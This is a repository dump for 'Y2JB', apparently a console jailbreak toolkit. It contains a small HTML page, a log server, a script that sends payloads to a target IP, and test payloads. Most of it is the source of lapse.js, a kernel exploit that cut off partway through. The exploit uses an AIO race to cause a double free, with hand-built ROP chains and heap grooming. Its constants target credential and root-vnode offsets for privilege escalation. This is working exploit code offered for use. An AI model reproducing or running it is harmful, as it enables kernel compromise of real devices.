 * of the MIT license.  See the LICENSE file for details.
 * -->

<!DOCTYPE html>
<html>
<head>
    <title>Y2JB</title>
    <style>
        body {
            font-family: monospace;
            background: #000;
            color: #fff;
            margin: 0;
            padding: 0;
            overflow: hidden;
        }
        #output div {
            white-space: pre;
        }
    </style>
</head>
<body>
    <script src="main.js"></script>
</body>
</html>
```

## /log_server.py

```py path="/log_server.py" 
#!/usr/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler

class LogHandler(BaseHTTPRequestHandler):
    def log_message(self, format, *args):
        pass  # Suppress default HTTP logging
    
    def do_POST(self):
        length = int(self.headers['Content-Length'])
        log_msg = self.rfile.read(length).decode('utf-8')
        print(log_msg, flush=True)
        
        self.send_response(200)
        self.send_header('Access-Control-Allow-Origin', '*')
        self.end_headers()
    
    def do_OPTIONS(self):
        self.send_response(200)
        self.send_header('Access-Control-Allow-Origin', '*')
        self.send_header('Access-Control-Allow-Methods', 'POST')
        self.send_header('Access-Control-Allow-Headers', 'Content-Type')
        self.end_headers()

print("Logger listening on port 8080...")
HTTPServer(('0.0.0.0', 8080), LogHandler).serve_forever()
```

## /payload_sender.py

```py path="/payload_sender.py" 
import socket
def send_payload(jar_path, host, port=50000):
    with open(jar_path, 'rb') as f:
        data = f.read()
    
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))
    sock.sendall(data)
    sock.close()
    print(f"Sent {len(data)} bytes to {host}:{port}")

if __name__ == "__main__":
    import sys
    if len(sys.argv) == 3:
        host = sys.argv[1]
        file_path = sys.argv[2]
        send_payload(file_path, host)
    elif len(sys.argv) == 4:
        host = sys.argv[1]
        port = int(sys.argv[2])
        file_path = sys.argv[3]
        send_payload(file_path, host, port)
    else:
        print("Usage: python payload_sender.py <host> <file>")
        print("       python payload_sender.py <host> <port> <file>")
        print("Examples:")
        print("  python payload_sender.py 192.168.1.100 helloworld.js")
        print("  python payload_sender.py 192.168.1.100 50000 helloworld.js")
        print("  python payload_sender.py 192.168.1.100 9020 payload.bin")
```

## /payloads/dlsym_test.js

```js path="/payloads/dlsym_test.js" 
(async function() {
    check_jailbroken();
    
    await log("Test 1 : Direct syscall");
    let sym_addr = alloc_string("sceKernelAllocateMainDirectMemory");
    let addr_out = malloc(0x10);
    
    let result = syscall(SYSCALL.dlsym, LIBKERNEL_HANDLE, sym_addr, addr_out);
    if (result === 0xffffffffffffffffn) {
        await log("dlsym error: " + get_error_string());
    }

    await log("sceKernelAllocateMainDirectMemory : " +  toHex(read64(addr_out)));
    
})();

```

## /payloads/helloworld.js

```js path="/payloads/helloworld.js" 
(async () => {
    
    await log("Hello from remote JS!");
    send_notification("Hello from remote JS!");
    
})()
```

## /payloads/lapse.js

```js path="/payloads/lapse.js" 
/*
    Copyright (C) 2025 Gezine
    Copyright (C) 2025 anonymous
    
    This file `lapse.js` contains a derivative work of `lapse.mjs`, which is a
    part of PSFree.

    Source:
    https://github.com/shahrilnet/remote_lua_loader/blob/main/payloads/lapse.lua
    https://github.com/Al-Azif/psfree-lapse/tree/v1.5.0
    
    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU Affero General Public License as
    published by the Free Software Foundation, either version 3 of the
    License, or (at your option) any later version.
    
    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU Affero General Public License for more details.
    
    You should have received a copy of the GNU Affero General Public License
    along with this program.  If not, see <https://www.gnu.org/licenses/>.
*/

(async function() {
    try {
        const lapse_version = "Y2JB Lapse 2.0 by Gezine";
        
        let failcheck_path;

        const MAIN_CORE = 4;
        const MAIN_RTPRIO = 0x100;
        const NUM_WORKERS = 2;
        const NUM_GROOMS = 0x200;
        const NUM_HANDLES = 0x100;
        const NUM_SDS = 64;
        const NUM_SDS_ALT = 48;
        const NUM_RACES = 100;
        const NUM_ALIAS = 100;
        const LEAK_LEN = 16;
        const NUM_LEAKS = 16;
        const NUM_CLOBBERS = 8;
        const MAX_AIO_IDS = 0x80;

        SYSCALL.pipe = 0x2an;
        SYSCALL.unlink = 0xan;
        SYSCALL.socketpair = 0x87n;
        SYSCALL.thr_self = 0x1b0n;
        SYSCALL.thr_exit = 0x1afn;
        SYSCALL.sched_yield = 0x14bn;
        SYSCALL.thr_new = 0x1c7n;
        SYSCALL.cpuset_getaffinity = 0x1e7n;
        SYSCALL.cpuset_setaffinity = 0x1e8n;
        SYSCALL.rtprio_thread = 0x1d2n;
        SYSCALL.evf_create = 0x21an;
        SYSCALL.evf_delete = 0x21bn;
        SYSCALL.evf_set = 0x220n;
        SYSCALL.evf_clear = 0x221n;
        SYSCALL.thr_suspend_ucontext = 0x278n;
        SYSCALL.thr_resume_ucontext = 0x279n;
        SYSCALL.aio_multi_delete = 0x296n;
        SYSCALL.aio_multi_wait = 0x297n;
        SYSCALL.aio_multi_poll = 0x298n;
        SYSCALL.aio_multi_cancel = 0x29an;
        SYSCALL.aio_submit_cmd = 0x29dn;
        SYSCALL.getpid = 0x14n;

        const AF_UNIX = 1n;
        const AF_INET = 2n;
        const AF_INET6 = 28n;
        const SOCK_STREAM = 1n;
        const SOCK_DGRAM = 2n;
        const SOL_SOCKET = 0xffffn;
        const SO_REUSEADDR = 4n;
        const SO_LINGER = 0x80n;
        
        const IPPROTO_TCP = 6n;
        const IPPROTO_UDP = 17n;
        const IPPROTO_IPV6 = 41n;
        const INADDR_ANY = 0n;
        
        const TCP_INFO = 0x20n;
        const size_tcp_info = 0xecn
        
        const TCPS_ESTABLISHED = 4n;
        
        const IPV6_2292PKTOPTIONS = 25n;
        const IPV6_PKTINFO = 46n;
        const IPV6_NEXTHOP = 48n;
        const IPV6_RTHDR = 51n;
        const IPV6_TCLASS = 61n;
        
        const AIO_CMD_READ = 1n;
        const AIO_CMD_FLAG_MULTI = 0x1000n;
        const AIO_CMD_MULTI_READ = 0x1001n;
        const AIO_CMD_WRITE = 2n;
        const AIO_STATE_COMPLETE = 3n;
        const AIO_STATE_ABORTED = 4n;        
        
        const SCE_KERNEL_ERROR_ESRCH = 0x80020003n;
        
        const RTP_SET = 1n;
        const PRI_REALTIME = 2n;

        const KERNEL_PID = 0n;
        const ROOTVNODE_OFFSET = 0x8n;
        const FILEDESCENT_SIZE = 0x30n;

        const F_SETFL    = 4n;
        const O_NONBLOCK = 4n;

        const OFFSET_UCRED_CR_SCEAUTHID = 0x58n;
        const OFFSET_UCRED_CR_SCECAPS = 0x60n;
        const OFFSET_UCRED_CR_SCEATTRS = 0x83n;
        const OFFSET_P_UCRED = 0x40n;
        const SYSCORE_AUTHID = 0x4800000000000007n;
        
        let block_fd = 0xffffffffffffffffn;
        let unblock_fd = 0xffffffffffffffffn;
        let block_id = -1n;
        let groom_ids = null;
        let sds = null;
        let sds_alt = null;
        let prev_core = -1;
        let prev_rtprio = 0n;
        let ready_signal = 0n;
        let deletion_signal = 0n;
        let pipe_buf = 0n;
        let setjmp_addr = 0n;
        let longjmp_addr = 0n;
        let saved_fpu_ctrl = 0;
        let saved_mxcsr = 0;

        function compare_version(a, b) {
            const [amaj, amin] = a.split('.').map(Number);
            const [bmaj, bmin] = b.split('.').map(Number);
            return amaj === bmaj ? amin - bmin : amaj - bmaj;
        }

        function wait_for(addr, threshold) {
            while (read64(addr) !== threshold) {
                nanosleep(1);
            }
        }

        function pin_to_core(core) {
            const mask = malloc(0x10);
            write32(mask, BigInt(1 << core));
            syscall(SYSCALL.cpuset_setaffinity, 3n, 1n, -1n, 0x10n, mask);
        }

        function get_core_index(mask_addr) {
            let num = Number(read32(mask_addr));
            let position = 0;
            while (num > 0) {
                num = num >>> 1;
                position++;
            }
            return position - 1;
        }

        function get_current_core() {
            const mask = malloc(0x10);
            syscall(SYSCALL.cpuset_getaffinity, 3n, 1n, -1n, 0x10n, mask);
            return get_core_index(mask);
        }

        function set_rtprio(prio) {
            const rtprio = malloc(0x4);
            write16(rtprio, PRI_REALTIME);
            write16(rtprio + 2n, BigInt(prio));
            syscall(SYSCALL.rtprio_thread, RTP_SET, 0n, rtprio);
        }

        function get_rtprio() {
            const rtprio = malloc(0x4);
            write16(rtprio, PRI_REALTIME);
            write16(rtprio + 2n, 0n);
            syscall(SYSCALL.rtprio_thread, RTP_SET, 0n, rtprio);
            return read16(rtprio + 0x2n);
        }

        function new_socket() {
            const sd = syscall(SYSCALL.socket, AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
            if (sd === 0xffffffffffffffffn) {
                throw new Error("new_socket error: " + toHex(sd));
            }
            return sd
        }

        function new_tcp_socket() {
            const sd = syscall(SYSCALL.socket, AF_INET, SOCK_STREAM, 0n);
            if (sd === 0xffffffffffffffffn) {
                throw new Error("new_tcp_socket error: " + toHex(sd));
            }            
            return sd
        }

        function set_sockopt(sd, level, optname, optval, optlen) {
            const result = syscall(SYSCALL.setsockopt, BigInt(sd), level, optname, optval, BigInt(optlen));
            if (result === 0xffffffffffffffffn) {
                throw new Error("set_sockopt error: " + toHex(result));
            }
            return result;
        }

        function get_sockopt(sd, level, optname, optval, optlen) {
            const len_ptr = malloc(4);
            write32(len_ptr, BigInt(optlen));
            const result = syscall(SYSCALL.getsockopt, BigInt(sd), level, optname, optval, len_ptr);
            if (result === 0xffffffffffffffffn) {
                throw new Error("get_sockopt error: " + toHex(result));
            }
            return read32(len_ptr);
        }

        function set_rthdr(sd, buf, len) {
            return set_sockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, buf, len);
        }

        function get_rthdr(sd, buf, max_len) {
            return get_sockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, buf, max_len);
        }

        function free_rthdrs(sds) {
            for (let i = 0; i < sds.length; i++) {
                if (sds[i] !== 0xffffffffffffffffn) {
                    set_sockopt(sds[i], IPPROTO_IPV6, IPV6_RTHDR, 0n, 0);
                }
            }
        }

        function build_rthdr(buf, size) {
            const len = ((Number(size) >> 3) - 1) & ~1;
            const actual_size = (len + 1) << 3;
            write8(buf, 0n);
            write8(buf + 1n, BigInt(len));
            write8(buf + 2n, 0n);
            write8(buf + 3n, BigInt(len >> 1));
            return actual_size;
        }

        function aton(ip_str) {
            const parts = ip_str.split('.').map(Number);
            return (parts[3] << 24) | (parts[2] << 16) | (parts[1] << 8) | parts[0];
        }

        function aio_submit_cmd(cmd, reqs, num_reqs, priority, ids) {
            const result = syscall(SYSCALL.aio_submit_cmd, cmd, reqs, BigInt(num_reqs), priority, ids);
            if (result === 0xffffffffffffffffn) {
                throw new Error("aio_submit_cmd error: " + toHex(result));
            }
            return result;
        }

        function aio_multi_delete(ids, num_ids, states) {
            const result = syscall(SYSCALL.aio_multi_delete, ids, BigInt(num_ids), states);
            if (result === 0xffffffffffffffffn) {
                throw new Error("aio_multi_delete error: " + toHex(result));
            }
            return result;
        }

        function aio_multi_poll(ids, num_ids, states) {
            const result = syscall(SYSCALL.aio_multi_poll, ids, BigInt(num_ids), states);
            if (result === 0xffffffffffffffffn) {
                throw new Error("aio_multi_poll error: " + toHex(result));
            }
            return result;
        }

        function aio_multi_cancel(ids, num_ids, states) {
            const result = syscall(SYSCALL.aio_multi_cancel, ids, BigInt(num_ids), states);
            if (result === 0xffffffffffffffffn) {
                throw new Error("aio_multi_cancel error: " + toHex(result));
            }
            return result;
        }
        
        function aio_multi_wait(ids, num_ids, states, mode, timeout) {
            const result = syscall(SYSCALL.aio_multi_wait, ids, BigInt(num_ids), states, BigInt(mode), timeout);
            if (result === 0xffffffffffffffffn) {
                throw new Error("aio_multi_wait error: " + toHex(result));
            }
            return result;
        }
        
        function make_reqs1(num_reqs) {
            const reqs = malloc(0x28 * num_reqs);
            for (let i = 0; i < num_reqs; i++) {
                write32(reqs + BigInt(i * 0x28 + 0x20), -1n);
            }
            return reqs;
        }
        
        function spray_aio(loops, reqs, num_reqs, ids, multi, cmd) {
            loops = loops || 1;
            cmd = cmd || AIO_CMD_READ;
            if (multi === undefined) multi = true;

            const step = 4 * (multi ? num_reqs : 1);
            const final_cmd = cmd | (multi ? AIO_CMD_FLAG_MULTI : 0n);

            for (let i = 0; i < loops; i++) {
                aio_submit_cmd(final_cmd, reqs, num_reqs, 3n, ids + BigInt(i * step));
            }
        }

        function cancel_aios(ids, num_ids) {
            const len = MAX_AIO_IDS;
            const rem = num_ids % len;
            const num_batches = Math.floor((num_ids - rem) / len);

            const errors = malloc(4 * len);

            for (let i = 0; i < num_batches; i++) {
                aio_multi_cancel(ids + BigInt(i * 4 * len), len, errors);
            }

            if (rem > 0) {
                aio_multi_cancel(ids + BigInt(num_batches * 4 * len), rem, errors);
            }
        }

        function free_aios(ids, num_ids, do_cancel) {
            if (do_cancel === undefined) do_cancel = true;

            const len = MAX_AIO_IDS;
            const rem = num_ids % len;
            const num_batches = Math.floor((num_ids - rem) / len);

            const errors = malloc(4 * len);

            for (let i = 0; i < num_batches; i++) {
                const addr = ids + BigInt(i * 4 * len);
                if (do_cancel) {
                    aio_multi_cancel(addr, len, errors);
                }
                aio_multi_poll(addr, len, errors);
                aio_multi_delete(addr, len, errors);
            }

            if (rem > 0) {
                const addr = ids + BigInt(num_batches * 4 * len);
                if (do_cancel) {
                    aio_multi_cancel(addr, rem, errors);
                }
                aio_multi_poll(addr, rem, errors);
                aio_multi_delete(addr, rem, errors);
            }
        }

        function free_aios2(ids, num_ids) {
            free_aios(ids, num_ids, false);
        }
        
        function call_suspend_chain_rop(pipe_write_fd, pipe_buf, thr_tid) {
            let rop_i = 0;
            
            // write(pipe_write_fd, pipe_buf, 1)
            rop_chain[rop_i++] = ROP.pop_rax; // pop rax ; ret
            rop_chain[rop_i++] = SYSCALL.write;
            rop_chain[rop_i++] = ROP.pop_rdi; // pop rdi ; ret
            rop_chain[rop_i++] = pipe_write_fd;
            rop_chain[rop_i++] = ROP.pop_rsi; // pop rsi ; ret
            rop_chain[rop_i++] = pipe_buf;
            rop_chain[rop_i++] = ROP.pop_rdx; // pop rdx ; ret
            rop_chain[rop_i++] = 1n;
            rop_chain[rop_i++] = syscall_wrapper;
            
            rop_chain[rop_i++] = ROP.pop_rax; // pop rax ; ret
            rop_chain[rop_i++] = SYSCALL.sched_yield;
            rop_chain[rop_i++] = syscall_wrapper;
            
            rop_chain[rop_i++] = ROP.pop_rax; // pop rax ; ret
            rop_chain[rop_i++] = SYSCALL.thr_suspend_ucontext;
            rop_chain[rop_i++] = ROP.pop_rdi; // pop rdi ; ret
            rop_chain[rop_i++] = thr_tid;
            rop_chain[rop_i++] = syscall_wrapper;
            
            rop_chain[rop_i++] = ROP.pop_rdi; // pop rdi ; ret
            rop_chain[rop_i++] = return_value_addr;
            rop_chain[rop_i++] = ROP.mov_qword_rdi_rax; // mov qword [rdi], rax ; ret
            
            // Return safe tagged value to JavaScript
            rop_chain[rop_i++] = ROP.mov_rax_0x200000000; // mov rax, 0x200000000 ; ret
            rop_chain[rop_i++] = ROP.pop_rbp; // pop rbp ; ret
            rop_chain[rop_i++] = saved_fp;
            rop_chain[rop_i++] = ROP.mov_rsp_rbp; // mov rsp, rbp ; pop rbp ; ret
            
            return pwn(fake_frame);
        }

        function call_suspend_chain(pipe_write_fd, pipe_buf, thr_tid) {
            const bc_start = get_bytecode_addr() + 0x36n;
            
            write64(bc_start, 0xAB0025n);
            saved_fp = addrof(call_suspend_chain_rop(pipe_write_fd, pipe_buf, thr_tid)) + 0x1n;
            
            write64(bc_start, 0xAB00260325n);
            call_suspend_chain_rop(pipe_write_fd, pipe_buf, thr_tid);
            
            return return_value_buf[0];
        }
        
        function init_threading() {
            setjmp_addr = libc_base + 0x58F80n;
            longjmp_addr = libc_base + 0x58FD0n;
            
            const jmpbuf = malloc(0x60);
            call(setjmp_addr, jmpbuf);
            
            saved_fpu_ctrl = Number(read32(jmpbuf + 0x40n));
            saved_mxcsr = Number(read32(jmpbuf + 0x44n));
        }

        function spawn_thread(rop_chain_race1_array) {
            const rop_chain_race1_addr = get_backing_store(rop_chain_race1_array);
            
            const jmpbuf = malloc(0x60);
            
            write64(jmpbuf + 0x00n, ROP.ret);      // ret addr (RIP)
            write64(jmpbuf + 0x10n, rop_chain_race1_addr);             // RSP - pivot to rop_chain_race1
            write32(jmpbuf + 0x40n, BigInt(saved_fpu_ctrl));   // FPU control word
            write32(jmpbuf + 0x44n, BigInt(saved_mxcsr));      // MXCSR
            
            const stack_size = 0x400n;
            const tls_size = 0x40n;
            
            const thr_new_args = malloc(0x80);
            const tid_addr = malloc(0x8);
            const cpid = malloc(0x8);
            const stack = malloc(Number(stack_size));
            const tls = malloc(Number(tls_size));
            
            write64(thr_new_args + 0x00n, longjmp_addr);       // start_func = longjmp
            write64(thr_new_args + 0x08n, jmpbuf);             // arg = jmpbuf
            write64(thr_new_args + 0x10n, stack);              // stack_base
            write64(thr_new_args + 0x18n, stack_size);         // stack_size
            write64(thr_new_args + 0x20n, tls);                // tls_base
            write64(thr_new_args + 0x28n, tls_size);           // tls_size
            write64(thr_new_args + 0x30n, tid_addr);           // child_tid (output)
            write64(thr_new_args + 0x38n, cpid);               // parent_tid (output)
            
            const result = syscall(SYSCALL.thr_new, thr_new_args, 0x68n);
            
            if (result !== 0n) {
                throw new Error("thr_new failed: " + toHex(result));
            }
            
            const tid = read64(tid_addr);
            return tid;
        }
        
        async function setup() {
            try {
                init_threading();

                ready_signal = malloc(8);
                deletion_signal = malloc(8);
                pipe_buf = malloc(8);
                write64(ready_signal, 0n);
                write64(deletion_signal, 0n);

                prev_core = get_current_core();
                prev_rtprio = get_rtprio();

                pin_to_core(MAIN_CORE);
                set_rtprio(MAIN_RTPRIO);

                await log("Pinned to core " + get_current_core() + " with prio " + MAIN_RTPRIO);

                const sockpair = malloc(8);
                if (syscall(SYSCALL.socketpair, AF_UNIX, SOCK_STREAM, 0n, sockpair) !== 0n) {
                    return false;
                }

                block_fd = read32(sockpair);
                unblock_fd = read32(sockpair + 4n);
                await log("Created socketpair: block_fd=" + block_fd + " unblock_fd=" + unblock_fd);

                const block_reqs = malloc(0x28 * NUM_WORKERS);
                for (let i = 0; i < NUM_WORKERS; i++) {
                    const offset = i * 0x28;
                    write32(block_reqs + BigInt(offset + 0x08), 1n);
                    write32(block_reqs + BigInt(offset + 0x20), block_fd);
                }

                const block_id_buf = malloc(4);
                if (aio_submit_cmd(AIO_CMD_READ, block_reqs, NUM_WORKERS, 3n, block_id_buf) !== 0n) {
                    return false;
                }

                block_id = read32(block_id_buf);
                await log("AIO workers blocked with ID: " + block_id);
                
                const num_reqs = 3;
                const groom_reqs = make_reqs1(num_reqs);
                const groom_ids_addr = malloc(4 * NUM_GROOMS);
                
                spray_aio(NUM_GROOMS, groom_reqs, num_reqs, groom_ids_addr, false);
                cancel_aios(groom_ids_addr, NUM_GROOMS);
                
                groom_ids = [];
                for (let i = 0; i < NUM_GROOMS; i++) {
                    groom_ids.push(Number(read32(groom_ids_addr + BigInt(i * 4))));
                }
                
                sds = [];
                for (let i = 0; i < NUM_SDS; i++) {
                    sds.push(new_socket());
                }
                
                sds_alt = [];
                for (let i = 0; i < NUM_SDS_ALT; i++) {
                    sds_alt.push(new_socket());
                }
                
                return true;

            } catch (e) {
                await log("Setup failed: " + e.message);
                return false;
            }
        }
        
        async function double_free_reqs2() {
            try {
                const server_addr = malloc(16);
                write8(server_addr + 1n, AF_INET);
                write16(server_addr + 2n, 0n);
                write32(server_addr + 4n, BigInt(aton("127.0.0.1")));

                const sd_listen = new_tcp_socket();

                const enable = malloc(4);
                write32(enable, 1n);
                set_sockopt(sd_listen, SOL_SOCKET, SO_REUSEADDR, enable, 4);

                if (syscall(SYSCALL.bind, sd_listen, server_addr, 16n) !== 0n) {
                    await log("bind failed");
                    syscall(SYSCALL.close, sd_listen);
                    return null;
                }

                const addr_len = malloc(4);
                write32(addr_len, 16n);
                if (syscall(SYSCALL.getsockname, sd_listen, server_addr, addr_len) !== 0n) {
                    await log("getsockname failed");
                    syscall(SYSCALL.close, sd_listen);
                    return null;
                }
                await log("Bound to port: " + Number(read16(server_addr + 2n)));

                if (syscall(SYSCALL.listen, sd_listen, 1n) !== 0n) {
                    await log("listen failed");
                    syscall(SYSCALL.close, sd_listen);
                    return null;
                }
                
                const num_reqs = 3;
                const which_req = num_reqs - 1;
                const reqs = make_reqs1(num_reqs);
                const aio_ids = malloc(4 * num_reqs);
                const req_addr = aio_ids + BigInt(which_req * 4);
                const errors = malloc(4 * num_reqs);
                const cmd = AIO_CMD_MULTI_READ;

                for (let attempt = 1; attempt <= NUM_RACES; attempt++) {
                    await log("Race attempt " + attempt + "/" + NUM_RACES);

                    const sd_client = new_tcp_socket();

                    if (syscall(SYSCALL.connect, sd_client, server_addr, 16n) !== 0n) {
                        syscall(SYSCALL.close, sd_client);
                        continue;
                    }

                    const sd_conn = syscall(SYSCALL.accept, sd_listen, 0n, 0n);

                    const linger_buf = malloc(8);
                    write32(linger_buf, 1n);
                    write32(linger_buf + 4n, 1n);
                    set_sockopt(sd_client, SOL_SOCKET, SO_LINGER, linger_buf, 8);
                    
                    write32(reqs + BigInt(which_req * 0x28 + 0x20), sd_client);
                    
                    if (aio_submit_cmd(cmd, reqs, num_reqs, 3n, aio_ids) !== 0n) {
                        syscall(SYSCALL.close, sd_client);
                        syscall(SYSCALL.close, sd_conn);
                        continue;
                    }

                    aio_multi_cancel(aio_ids, num_reqs, errors);
                    aio_multi_poll(aio_ids, num_reqs, errors);
                    
                    syscall(SYSCALL.close, sd_client);

                    const sd_pair = await race_one(req_addr, sd_conn, sds);
                    
                    aio_multi_delete(aio_ids, num_reqs, errors);
                    syscall(SYSCALL.close, sd_conn);

                    if (sd_pair !== null) {
                        await log("Won race at attempt " + attempt);
                        syscall(SYSCALL.close, sd_listen);
                        return sd_pair;
                    }
                }

                syscall(SYSCALL.close, sd_listen);
                return null;

            } catch (e) {
                await log("Stage 1 error: " + e.message);
                return null;
            }
        }

        async function race_one(req_addr, tcp_sd, sds) {
            try {
                write64(ready_signal, 0n);
                write64(deletion_signal, 0n);

                const sce_errs = malloc(8);
                write32(sce_errs, -1n);
                write32(sce_errs + 4n, -1n);

                const [pipe_read_fd, pipe_write_fd] = create_pipe();
                
                const rop_chain_race1 = new BigUint64Array(200);
                
                // rop_chain_race1[0] will be overwritten by longjmp, so skip it
                let rop_i = 1;

                const cpu_mask = malloc(0x10);
                write16(cpu_mask, BigInt(1 << MAIN_CORE));
                
                // Pin to core
                rop_chain_race1[rop_i++] = ROP.pop_rax; // pop rax ; ret
                rop_chain_race1[rop_i++] = SYSCALL.cpuset_setaffinity;
                rop_chain_race1[rop_i++] = ROP.pop_rdi; // pop rdi ; ret
                rop_chain_race1[rop_i++] = 3n;
                rop_chain_race1[rop_i++] = ROP.pop_rsi; // pop rsi ; ret
                rop_chain_race1[rop_i++] = 1n;
                rop_chain_race1[rop_i++] = ROP.pop_rdx; // pop rdx ; ret
                rop_chain_race1[rop_i++] = -1n;
                rop_chain_race1[rop_i++] = ROP.pop_rcx; // pop rcx ; ret
                rop_chain_race1[rop_i++] = 0x10n;
                rop_chain_race1[rop_i++] = ROP.pop_r8; // pop r8 ; ret
                rop_chain_race1[rop_i++] = cpu_mask;
                rop_chain_race1[rop_i++] = syscall_wrapper;

                const rtprio_buf = malloc(4);
                write16(rtprio_buf, PRI_REALTIME);
                write16(rtprio_buf + 2n, BigInt(MAIN_RTPRIO));

                // Set priority
                rop_chain_race1[rop_i++] = ROP.pop_rax; // pop rax ; ret
                rop_chain_race1[rop_i++] = SYSCALL.rtprio_thread;
                rop_chain_race1[rop_i++] = ROP.pop_rdi; // pop rdi ; ret
                rop_chain_race1[rop_i++] = 1n;
                rop_chain_race1[rop_i++] = ROP.pop_rsi; // pop rsi ; ret
                rop_chain_race1[rop_i++] = 0n;
                rop_chain_race1[rop_i++] = ROP.pop_rdx; // pop rdx ; ret
                rop_chain_race1[rop_i++] = rtprio_buf;
                rop_chain_race1[rop_i++] = syscall_wrapper;

                // Signal ready
                rop_chain_race1[rop_i++] = ROP.pop_rdi; // pop rdi ; ret
                rop_chain_race1[rop_i++] = ready_signal;
                rop_chain_race1[rop_i++] = ROP.pop_rax; // pop rax ; ret
                rop_chain_race1[rop_i++] = 1n;
                rop_chain_race1[rop_i++] = ROP.mov_qword_rdi_rax; // mov qword [rdi], rax ; ret
                
                // Read from pipe (blocks here)
                rop_chain_race1[rop_i++] = ROP.pop_rax; // pop rax ; ret
                rop_chain_race1[rop_i++] = SYSCALL.read;
                rop_chain_race1[rop_i++] = ROP.pop_rdi; // pop rdi ; ret
                rop_chain_race1[rop_i++] = pipe_read_fd;
                rop_chain_race1[rop_i++] = ROP.pop_rsi; // pop rsi ; ret
                rop_chain_race1[rop_i++] = pipe_buf;
                rop_chain_race1[rop_i++] = ROP.pop_rdx; // pop rdx ; ret
                rop_chain_race1[rop_i++] = 1n;
                rop_chain_race1[rop_i++] = syscall_wrapper;

                // aio multi delete
                rop_chain_race1[rop_i++] = ROP.pop_rax; // pop rax ; ret
                rop_chain_race1[rop_i++] = SYSCALL.aio_multi_delete;
                rop_chain_race1[rop_i++] = ROP.pop_rdi; // pop rdi ; ret
                rop_chain_race1[rop_i++] = req_addr;
                rop_chain_race1[rop_i++] = ROP.pop_rsi; // pop rsi ; ret
                rop_chain_race1[rop_i++] = 1n;
                rop_chain_race1[rop_i++] = ROP.pop_rdx; // pop rdx ; ret
                rop_chain_race1[rop_i++] = sce_errs + 4n;
                rop_chain_race1[rop_i++] = syscall_wrapper;

                // Signal deletion
                rop_chain_race1[rop_i++] = ROP.pop_rdi; // pop rdi ; ret
                rop_chain_race1[rop_i++] = deletion_signal;
                rop_chain_race1[rop_i++] = ROP.pop_rax; // pop rax ; ret
                rop_chain_race1[rop_i++] = 1n;
                rop_chain_race1[rop_i++] = ROP.mov_qword_rdi_rax; // mov qword [rdi], rax ; ret

                // Thread exit
                rop_chain_race1[rop_i++] = ROP.pop_rax; // pop rax ; ret
                rop_chain_race1[rop_i++] = SYSCALL.thr_exit;
                rop_chain_race1[rop_i++] = ROP.pop_rdi; // pop rdi ; ret
                rop_chain_race1[rop_i++] = 0n;
                rop_chain_race1[rop_i++] = syscall_wrapper;

                const thr_tid = spawn_thread(rop_chain_race1);
                
                wait_for(ready_signal, 1n);
                
                const suspend_res = call_suspend_chain(pipe_write_fd, pipe_buf, thr_tid);
                
                await log("Suspend result: " + toHex(suspend_res));

                const poll_err = malloc(4);
                aio_multi_poll(req_addr, 1, poll_err);
                const poll_res = read32(poll_err);
                await log("Poll after suspend: " + toHex(poll_res));

                const info_buf = malloc(0x100);
                const info_size = get_sockopt(tcp_sd, IPPROTO_TCP, TCP_INFO, info_buf, 0x100);
                
                if (info_size !== size_tcp_info) {
                    await log("info size isn't " + size_tcp_info + ": " + info_size);
                }
                
                const tcp_state = read8(info_buf);
                await log("tcp_state: " + toHex(tcp_state));
                
                let won_race = false;

                if (poll_res !== SCE_KERNEL_ERROR_ESRCH && tcp_state !== TCPS_ESTABLISHED) {
                    aio_multi_delete(req_addr, 1, sce_errs);
                    won_race = true;
                    await log("Race won!");
                } else {
                    await log("Race not won (poll_res=" + toHex(poll_res) + " tcp_state=" + toHex(tcp_state) + ")");
                }

                const resume_result = syscall(SYSCALL.thr_resume_ucontext, thr_tid);
                await log("Resume " + toHex(thr_tid) + ": " + resume_result);
                
                wait_for(deletion_signal, 1n);

                if (won_race) {
                    const err_main_thr = read32(sce_errs);
                    const err_worker_thr = read32(sce_errs + 4n);
                    await log("sce_errs: main=" + toHex(err_main_thr) + " worker=" + toHex(err_worker_thr));

                    if (err_main_thr === err_worker_thr && err_main_thr === 0n) {
                        await log("Double-free successful, making aliased rthdrs...");
                        const sd_pair = await make_aliased_rthdrs(sds);
                        
                        if (sd_pair !== null) {
                            syscall(SYSCALL.close, pipe_read_fd);
                            syscall(SYSCALL.close, pipe_write_fd);
                            return sd_pair;
                        } else {
                            await log("Failed to make aliased rthdrs");
                        }
                    } else {
                        await log("sce_errs mismatch - race failed");
                    }
                }

                syscall(SYSCALL.close, pipe_read_fd);
                syscall(SYSCALL.close, pipe_write_fd);
                return null;

            } catch (e) {
                await log("Race error: " + e.message);
                await log(e.stack);
                return null;
            }
        }

        async function make_aliased_rthdrs(sds) {
            const marker_offset = 4;
            const size = 0x80;
            const buf = malloc(size);
            const rsize = build_rthdr(buf, size);

            for (let loop = 1; loop <= NUM_ALIAS; loop++) {
                for (let i = 1; i <= Math.min(sds.length, NUM_SDS); i++) {
                    const sd = Number(sds[i-1]);
                    if (sds[i-1] !== 0xffffffffffffffffn) {
                        write32(buf + BigInt(marker_offset), BigInt(i));
                        set_rthdr(sd, buf, rsize);
                    }
                }

                for (let i = 1; i <= Math.min(sds.length, NUM_SDS); i++) {
                    const sd = Number(sds[i-1]);
                    if (sds[i-1] !== 0xffffffffffffffffn) {
                        get_rthdr(sd, buf, size);
                        const marker = Number(read32(buf + BigInt(marker_offset)));
                        
                        if (marker !== i && marker > 0 && marker <= NUM_SDS) {
                            const aliased_idx = marker - 1;
                            const aliased_sd = Number(sds[aliased_idx]);
                            if (aliased_idx >= 0 && aliased_idx < sds.length && sds[aliased_idx] !== 0xffffffffffffffffn) {
                                await log("Aliased rthdrs at attempt: " + loop);

                                const sd_pair = [sd, aliased_sd];
                                const max_idx = Math.max(i-1, aliased_idx);
                                const min_idx = Math.min(i-1, aliased_idx);
                                sds.splice(max_idx, 1);
                                sds.splice(min_idx, 1);
                                free_rthdrs(sds);
                                sds.push(new_socket());
                                sds.push(new_socket());
                                return sd_pair;
                            }
                        }
                    }
                }
            }
            return null;
        }
        
        function new_evf(name, flags) {
            const result = syscall(SYSCALL.evf_create, name, 0n, flags);
